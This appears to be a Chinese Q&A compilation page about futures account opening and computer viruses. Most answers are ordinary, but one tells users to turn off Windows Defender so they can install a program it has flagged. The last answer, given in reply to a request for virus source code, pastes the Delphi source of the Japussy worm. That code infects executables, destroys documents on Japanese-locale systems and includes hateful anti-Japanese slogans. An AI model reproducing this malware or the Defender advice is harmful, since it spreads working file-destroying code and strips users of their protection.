期货开户发病毒文件

1. 期货开户存在哪些法律风险

期货开户有银行三方挂钩，一般是不会有什么风险的，钱是安全的，可以相信。

2. 您下载的文件包含木马病毒,已成功隔离。。有点慌了 怎么办

已经隔离了，不用慌。

3. 期货开户的开户风险

开户需注意的风险？
交易投资者应须清楚明白买卖期货及期权的风险后才能入市交易。交易所会员必须向客户阐明期货及期权的性质和风险。
并非每个投资者均适合买卖期货及期权。投资者必须衡量其承担市场波动风险或负担亏损的能力。
投资者在充分了解有关风险之余，应先征询符合资质要求的期货从业人员，让他们分析期货及期权产品是否适合您的个人需要，然后再做出买卖决定。
投资者在签署有关文件和开户买卖前，须仔细阅读及领会有关风险揭示文件，该文件属于客户合同的一部分。

4. 常见的病毒文件名!

常见的病毒前缀的解释（针对我们用得最多的Windows操作系统）：
1、系统病毒
系统病毒的前缀为：Win32、PE、Win95、W32、W95等。这些病毒的一般公有的特性是可以感染Windows操作系统的 *.exe 和 *.dll 文件，并通过这些文件进行传播。如CIH病毒。
2、蠕虫病毒
蠕虫病毒的前缀是：Worm。这种病毒的公有特性是通过网络或者系统漏洞进行传播，很大部分的蠕虫病毒都有向外发送带毒邮件，阻塞网络的特性。比如冲击波（阻塞网络），小邮差（发带毒邮件）等。
3、木马病毒、黑客病毒
木马病毒其前缀是：Trojan，黑客病毒前缀名一般为Hack.木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏，然后向外界泄露用户的信息。而黑客病毒则有一个可视的界面，能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的，即木马病毒负责侵入用户的电脑，而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马Trojan.QQ3344，还有大家可能遇见比较多的针对网络游戏的木马病毒如Trojan.LMir.PSW.60。这里补充一点，病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有盗取密码的功能（这些字母一般都为“密码”的英文“password”的缩写）一些黑客程序如：网络枭雄（Hack.Nether.Client）等。
4、脚本病毒
脚本病毒的前缀是：脚本病毒的公有特性是使用脚本语言编写，通过网页进行的传播的病毒，如红色代码（.Redlof）。脚本病毒还会有如下前缀：VBS、JS（表明是何种脚本编写的），如欢乐时光（VBS.Happytime）、十四日（Js.Fortnight.c.s）等。
5、宏病毒
其实宏病毒是也是脚本病毒的一种，由于它的特殊性，因此在这里单独算成一类。宏病毒的前缀是：Macro，第二前缀是：Word、Word97、Excel、Excel97（也许还有别的）其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97做为第二前缀，格式是：Macro.Word97；凡是只感染WORD97以后版本WORD文档的病毒采用Word做为第二前缀，格式是：Macro.Word；凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97做为第二前缀，格式是：Macro.Excel97；凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel做为第二前缀，格式是：Macro.Excel，依此类推。该类病毒的公有特性是能感染OFFICE系列文档，然后通过OFFICE通用模板进行传播，如：著名的美丽莎（Macro.Melissa）。
6、后门病毒
后门病毒的前缀是：Backdoor.该类病毒的公有特性是通过网络传播，给系统开后门，给用户电脑带来安全隐患。如54很多朋友遇到过的IRC后门Backdoor.IRCBot。
7、病毒种植程序病毒
这类病毒的公有特性是运行时会从体内释放出一个或几个新的病毒到系统目录下，由释放出来的新病毒产生破坏。如：冰河播种者（Dropper.BingHe2.2C）、MSN射手（Dropper.Worm.Smibag）等。
8.破坏性程序病毒
破坏性程序病毒的前缀是：Harm。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击，当用户点击这类病毒时，病毒便会直接对用户计算机产生破坏。如：格式化C盘（Harm.formatC.f）、杀手命令（Harm.Command.Killer）等。
9.玩笑病毒
玩笑病毒的前缀是：Joke.也称恶作剧病毒。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击，当用户点击这类病毒时，病毒会做出各种破坏操作来吓唬用户，其实病毒并没有对用户电脑进行任何破坏。如：女鬼（Joke.Girlghost）病毒。
10.捆绑机病毒
捆绑机病毒的前缀是：Binder.这类病毒的公有特性是病毒作者会使用特定的捆绑程序将病毒与一些应用程序如QQ、IE捆绑起来，表面上看是一个正常的文件，当用户运行这些捆绑病毒时，会表面上运行这些应用程序，然后隐藏运行捆绑在一起的病毒，从而给用户造成危害。如：捆绑QQ（Binder.QQPass.QQBin）、系统杀手（Binder.killsys）等。以上为比较常见的病毒前缀，有时候我们还会看到一些其他的，但比较少见，这里简单提一下：
DoS：会针对某台主机或者服务器进行DoS攻击；
Exploit：会自动通过溢出对方或者自己的系统漏洞来传播自身，或者他本身就是一个用于Hacking的溢出工具；
HackTool：黑客工具，也许本身并不破坏你的机子，但是会被别人加以利用来用你做替身去破坏别人。

5. “无法完成操作，因为文件包含病毒”是怎么回事

问题分析：
1
这种情况是计算机自带的反恶意软件Windows Defender造成的，而在win8中的Windows Defender不仅是一款反恶意软件，还是一款很好用的杀毒软件。所以，只要出现这个提示，说明正在安装的应用程序确实存在问题，有可能包含密码窃取程序等。

END
解决方法：
1
如果用户确实需要安装此应用程序，需要设置Windows Defender不要启用实时保护，或者停止Windows Defender应用，或者停止Windows Defender服务。
END
打开Windows Defender的方式：
1
打开控制面板，显示类型为“图标”打开所有控制面板选项，找到并鼠标左键单击Windows Defender。

END
具体操作：
1
设置Windows Defender不要启用实时保护。
在‘设置’选项卡下，点击左侧边栏的‘实时保护’，将‘启用实时保护’前复选框的勾去掉，点击‘保存更改’。

2
停止Windows Defender应用。
在‘设置’选项卡下，点击左侧边栏的‘管理员’，将‘启用此应用’前复选框的勾去掉，点击‘保存更改’。

3
停止Windows Defender服务。
（1）打开控制面板，显示类型为“图标”打开所有控制面板选项，找到并鼠标左键单击管理工具。
（2）管理工具界面鼠标左键双击服务。
（3）服务列表下，找到并鼠标右键单击Windows Defender service，选择停止命令。

6. 我在国泰君安下载的期货仿真交易 查出来有木马病毒。。 我想知道国泰君安真的安全吗 怎么会有病毒啊

应该不会吧。。。是不是你电脑有什么问题啊。。。

要不试试我们公司的？您可以和我说。

7. 期货开户时候，106960219621发来链接过来,安全吗

首先你是否是在正规期货公司开户的，期货开户过程中没有需要投资者点链接的地方。

8. 我今天收到一份国外客户发来的scr文件，说是订单，但是打开后360提示是病毒 然后电脑，就开始卡

你彻底中毒了，趁现在赶紧把重要的文件移动到c盘以外的其它盘里，然后执行全盘查杀，重新启动后如果进不了系统，就直接重新安装系统来解决，切记！！安装系统前把c盘格式化一下再装系统。
抱去电脑店装机需要30---50元，虽然钱不多但是麻烦，不如用30---50元买个U盘自己装系统，知识也学了机器也装了，主要是方便了，而且自己又落个U盘，呵呵，何乐而不为。
以下是用U盘装机流程，自己看看，学会不求人，而且自己更方便。
U盘装系统：是把U盘装个PE系统后，插在电脑上，可以用主板带动U盘启动，然后做系统用，主要是方便又可以更好的操作。
具体方法：去买个2.0U盘（3.0U盘要有驱动才行，装机会容易失败。），按下边的去做即可自己装系统了。
以下是U盘装机流程： 以大白菜pe或是老毛桃pe为例，都一样。
以下是U盘装机流程： 以大白菜为例
准备未储存文件的空U盘（建议使用8G以上U盘，注意：制作PE系统时会把U盘格式的）,下载大白菜U盘装机系统软件，如果自己的电脑可用，就在自己的电脑上把U盘装成PE系统，如果不好用到别的机器上制作成‘大白菜’PE安装软件的U盘，即可开始装机，把U盘插到电脑上后开机。
注意！此处很重要： U盘做好后首先要做的是: 电脑正常时或是到PE桌面时，要 备份电脑上重要文件，（主要有：桌面上的重要文件和我的文档里的重要文件，拷到D盘里。）然后开始执行以下事情：
注意！如果电脑内存是4GB以上，则必须选择64位系统版本，因为32位Win7系统最大只支持4GB内存。
建议你，重装系统前把C盘格式化一下再装系统可解决硬盘有逻辑坏道问题。

1，先把WINXP、 WIN 7或是WIN 8镜像下载到硬盘里或是预先做个GHO文件保存在U盘里，然后在除C盘以外的盘或者U盘根目录里新建一个GHO文件夹，也可以在D盘根目录下建一个GHO文件夹，然后把WIN7镜像用UltarISO或者WinRAR解压释放到GHO文件夹中。
注意：切记注意不要在C盘中建GHO文件夹，那样会再安装过程中把GHO文件清掉而安装失败。
2，把启动U盘插在电脑上，然后开机：
如果是新式UEFI BIOS，一般可以直接按F12进入到快捷启动菜单，在菜单中选择U盘名称，即可从U盘启动。
如果是老式BIOS，那必须按Del或F2等进入BIOS，然后在Advanced BIOS Features项目下，或者Boot，或者Startup下，找到First Boot Device或1st Boot Device等，进入后把USB-HDD或U盘名称设为第一启动，
具体方法看主板的说明书，或到网上搜索。
启动U盘后，进入到这个U盘PE界面，选择“运行Windows PE(系统安装)”。
3，进入大白菜PE 或是老毛桃PE桌面后，选择"WIN系统安装器"这个桌面快捷图标，双击运行。
4，弹出NT6快捷安装器，首先就是要找到先前下载解压出来的系统文件，点击“打开”按钮。
5，打开一个文件选择框，找到先前在D盘建立的GHO文件或是的GHO文件夹，然后找到其子文件夹Sources，然后再在Sources文件夹下找到install.wim这个文件，这个就是安装文件，选好后点击“打开”按钮。
6，然后选择安装分区，一般会默认为C盘，如果需要安装到其它盘，那就要手动调整，如果是新手，最好不要去调整它，因为系统分区必须是主分区，而且必须是激活的，所以如果不了解这些最好不要去碰这个。
7，在这里，弹出安装前最后一个确认窗口，仔细看一看，如果确定都选择好了，就可以点“确定”，安装开始。
8，这时系统会将GHO中的系统文件复制到C盘指定的地方，复制几个G的文件会需要一定时间，请耐心等一等。
9，等复制完成后，弹出提示”请重启动计算机进入安装阶段“，点”是“，电脑马上重启，这时就可以拔出U盘了，如果是UEFI BIOS，会仍从硬盘启动，如果是老式BIOS，就必须进入BIOS中，把从U盘启动改为从硬盘启动。
10，重新从硬盘启动后，进入电脑，就会开始安装系统，如配置开始菜单，注册组件等等，整个安装过程所需要的时间会更长，一定要耐心等待。
注意！未安装完成前禁止强制退出。 有帮助请采纳下,选为满意答案,谢谢！

9. 期货网上开户会有什么风险，开户账号安不安全

期货网上开户如果遇到不正规的骗子网站，您的个人信息安全和账户资金安全都会受到威胁。如果你需要开户要去正规的期货平台开户比如银芝麻开户网我就觉的不错。正规的开户网站开的户都可以在证监会查看到。

10. 能发一个完整的病毒源代码文件我分析一下。直接复制在这里就可以，不要发给我

复制的，希望采纳
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procere SendMail;
begin
//哪位仁兄愿意完成之？汤姆感激不尽！
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，将Base64编码后的病毒写入
//感染浏览此网页的所有用户，这个是我最喜欢的！
//哪位大兄弟愿意完成之？汤姆感激不尽！
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？汤姆感激不尽！
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end